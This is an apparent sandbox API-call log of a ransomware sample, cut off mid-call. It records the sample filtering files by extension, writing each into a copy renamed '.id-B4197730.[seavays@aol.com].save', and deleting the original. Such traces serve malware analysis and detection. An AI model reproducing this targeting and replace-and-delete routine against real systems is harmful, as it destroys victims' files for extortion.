[0067.955] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0067.955] lstrlenW (lpString=".ppt") returned 4 [0067.955] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0067.955] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.955] lstrlenW (lpString=".zip") returned 4 [0067.955] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0067.955] lstrlenW (lpString=".rar") returned 4 [0067.955] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0067.955] lstrlenW (lpString=".bz2") returned 4 [0067.955] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0067.955] lstrlenW (lpString=".7z") returned 3 [0067.955] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0067.955] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.955] lstrlenW (lpString=".dbf") returned 4 [0067.955] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0067.955] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.955] lstrlenW (lpString=".1cd") returned 4 [0067.955] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0067.955] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.955] lstrlenW (lpString=".jpg") returned 4 [0067.955] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0067.956] lstrcmpiW (lpString1=".sys", lpString2=".save") returned 1 [0067.956] lstrlenW (lpString="pagefile.sys") returned 12 [0067.956] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.956] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.956] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.956] lstrlenW (lpString=".doc") returned 4 [0067.956] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0067.956] lstrlenW (lpString=".docx") returned 5 [0067.956] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0067.956] lstrlenW (lpString=".pdf") returned 4 [0067.956] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0067.956] lstrlenW (lpString=".xls") returned 4 [0067.956] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0067.956] lstrlenW (lpString=".xlsx") returned 5 [0067.956] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0067.956] lstrlenW (lpString=".ppt") returned 4 [0067.956] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0067.956] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.956] lstrlenW (lpString=".zip") returned 4 [0067.956] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0067.956] lstrlenW (lpString=".rar") returned 4 [0067.957] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0067.957] lstrlenW (lpString=".bz2") returned 4 [0067.957] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0067.957] lstrlenW (lpString=".7z") returned 3 [0067.957] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0067.957] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.957] lstrlenW (lpString=".dbf") returned 4 [0067.957] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0067.957] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.957] lstrlenW (lpString=".1cd") returned 4 [0067.957] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0067.957] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.957] lstrlenW (lpString=".jpg") returned 4 [0067.957] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0067.957] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.957] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.957] lstrlenW (lpString=".doc") returned 4 [0067.957] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0067.957] lstrlenW (lpString=".docx") returned 5 [0067.957] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0067.957] lstrlenW (lpString=".pdf") returned 4 [0067.957] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0067.957] lstrlenW (lpString=".xls") returned 4 [0067.957] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0067.958] lstrlenW (lpString=".xlsx") returned 5 [0067.958] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0067.958] lstrlenW (lpString=".ppt") returned 4 [0067.958] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0067.958] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.958] lstrlenW (lpString=".zip") returned 4 [0067.958] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0067.958] lstrlenW (lpString=".rar") returned 4 [0067.958] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0067.958] lstrlenW (lpString=".bz2") returned 4 [0067.958] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0067.958] lstrlenW (lpString=".7z") returned 3 [0067.958] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0067.958] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.958] lstrlenW (lpString=".dbf") returned 4 [0067.958] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0067.958] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.958] lstrlenW (lpString=".1cd") returned 4 [0067.958] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0067.958] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0067.958] lstrlenW (lpString=".jpg") returned 4 [0067.958] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0067.958] lstrcmpiW (lpString1=".OLB", lpString2=".save") returned -1 [0067.958] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0067.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0068.305] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=15984) returned 1 [0068.305] CloseHandle (hObject=0x39c) returned 1 [0068.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0068.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0068.306] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.306] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0068.306] GetLastError () returned 0x0 [0068.306] ReadFile (in: hFile=0x39c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x3e70, lpOverlapped=0x0) returned 1 [0068.308] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3e80, lpOverlapped=0x0) returned 1 [0068.309] ReadFile (in: hFile=0x39c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.309] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0068.309] SetEndOfFile (hFile=0x2f4) returned 1 [0068.310] CloseHandle (hObject=0x2f4) returned 1 [0068.311] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.311] SetEndOfFile (hFile=0x39c) returned 1 [0068.312] CloseHandle (hObject=0x39c) returned 1 [0068.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.312] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0068.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.312] lstrlenW (lpString=".doc") returned 4 [0068.312] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0068.312] lstrlenW (lpString=".docx") returned 5 [0068.312] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0068.312] lstrlenW (lpString=".pdf") returned 4 [0068.312] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0068.313] lstrlenW (lpString=".xls") returned 4 [0068.313] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0068.313] lstrlenW (lpString=".xlsx") returned 5 [0068.313] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0068.313] lstrlenW (lpString=".ppt") returned 4 [0068.313] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0068.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.313] lstrlenW (lpString=".zip") returned 4 [0068.313] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0068.313] lstrlenW (lpString=".rar") returned 4 [0068.313] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0068.313] lstrlenW (lpString=".bz2") returned 4 [0068.313] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0068.313] lstrlenW (lpString=".7z") returned 3 [0068.313] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0068.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.313] lstrlenW (lpString=".dbf") returned 4 [0068.313] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0068.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.313] lstrlenW (lpString=".1cd") returned 4 [0068.313] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0068.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.313] lstrlenW (lpString=".jpg") returned 4 [0068.313] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0068.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.313] lstrlenW (lpString=".doc") returned 4 [0068.313] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0068.313] lstrlenW (lpString=".docx") returned 5 [0068.313] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0068.313] lstrlenW (lpString=".pdf") returned 4 [0068.314] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0068.314] lstrlenW (lpString=".xls") returned 4 [0068.314] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0068.314] lstrlenW (lpString=".xlsx") returned 5 [0068.314] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0068.314] lstrlenW (lpString=".ppt") returned 4 [0068.314] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0068.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.314] lstrlenW (lpString=".zip") returned 4 [0068.314] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0068.314] lstrlenW (lpString=".rar") returned 4 [0068.314] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0068.314] lstrlenW (lpString=".bz2") returned 4 [0068.314] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0068.314] lstrlenW (lpString=".7z") returned 3 [0068.314] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0068.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.314] lstrlenW (lpString=".dbf") returned 4 [0068.314] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0068.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.314] lstrlenW (lpString=".1cd") returned 4 [0068.314] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0068.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0068.314] lstrlenW (lpString=".jpg") returned 4 [0068.314] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0068.314] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.314] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0068.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0068.315] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=22720) returned 1 [0068.315] CloseHandle (hObject=0x39c) returned 1 [0068.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0068.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0068.315] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.315] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0068.316] GetLastError () returned 0x0 [0068.316] ReadFile (in: hFile=0x39c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x58c0, lpOverlapped=0x0) returned 1 [0068.318] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x58d0, lpOverlapped=0x0) returned 1 [0068.319] ReadFile (in: hFile=0x39c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.319] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x116, lpOverlapped=0x0) returned 1 [0068.319] SetEndOfFile (hFile=0x2f4) returned 1 [0068.319] CloseHandle (hObject=0x2f4) returned 1 [0068.322] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.322] SetEndOfFile (hFile=0x39c) returned 1 [0068.323] CloseHandle (hObject=0x39c) returned 1 [0068.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.324] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0068.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.324] lstrlenW (lpString=".doc") returned 4 [0068.324] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.324] lstrlenW (lpString=".docx") returned 5 [0068.324] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.324] lstrlenW (lpString=".pdf") returned 4 [0068.324] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.324] lstrlenW (lpString=".xls") returned 4 [0068.324] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.324] lstrlenW (lpString=".xlsx") returned 5 [0068.324] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.325] lstrlenW (lpString=".ppt") returned 4 [0068.325] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.325] lstrlenW (lpString=".zip") returned 4 [0068.325] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.325] lstrlenW (lpString=".rar") returned 4 [0068.325] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.325] lstrlenW (lpString=".bz2") returned 4 [0068.325] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.325] lstrlenW (lpString=".7z") returned 3 [0068.325] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.326] lstrlenW (lpString=".dbf") returned 4 [0068.326] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.326] lstrlenW (lpString=".1cd") returned 4 [0068.326] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.326] lstrlenW (lpString=".jpg") returned 4 [0068.326] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.326] lstrlenW (lpString=".doc") returned 4 [0068.326] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.326] lstrlenW (lpString=".docx") returned 5 [0068.326] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.326] lstrlenW (lpString=".pdf") returned 4 [0068.326] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.326] lstrlenW (lpString=".xls") returned 4 [0068.326] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.326] lstrlenW (lpString=".xlsx") returned 5 [0068.326] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.326] lstrlenW (lpString=".ppt") returned 4 [0068.326] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.326] lstrlenW (lpString=".zip") returned 4 [0068.326] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.326] lstrlenW (lpString=".rar") returned 4 [0068.326] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.326] lstrlenW (lpString=".bz2") returned 4 [0068.326] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.326] lstrlenW (lpString=".7z") returned 3 [0068.326] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.327] lstrlenW (lpString=".dbf") returned 4 [0068.327] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.327] lstrlenW (lpString=".1cd") returned 4 [0068.327] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0068.327] lstrlenW (lpString=".jpg") returned 4 [0068.327] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.327] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.327] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0068.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0068.328] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=19136) returned 1 [0068.328] CloseHandle (hObject=0x39c) returned 1 [0068.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0068.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.387] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.387] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.387] GetLastError () returned 0x0 [0068.387] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0068.389] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0068.390] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.390] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11e, lpOverlapped=0x0) returned 1 [0068.390] SetEndOfFile (hFile=0x34c) returned 1 [0068.390] CloseHandle (hObject=0x34c) returned 1 [0068.392] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.392] SetEndOfFile 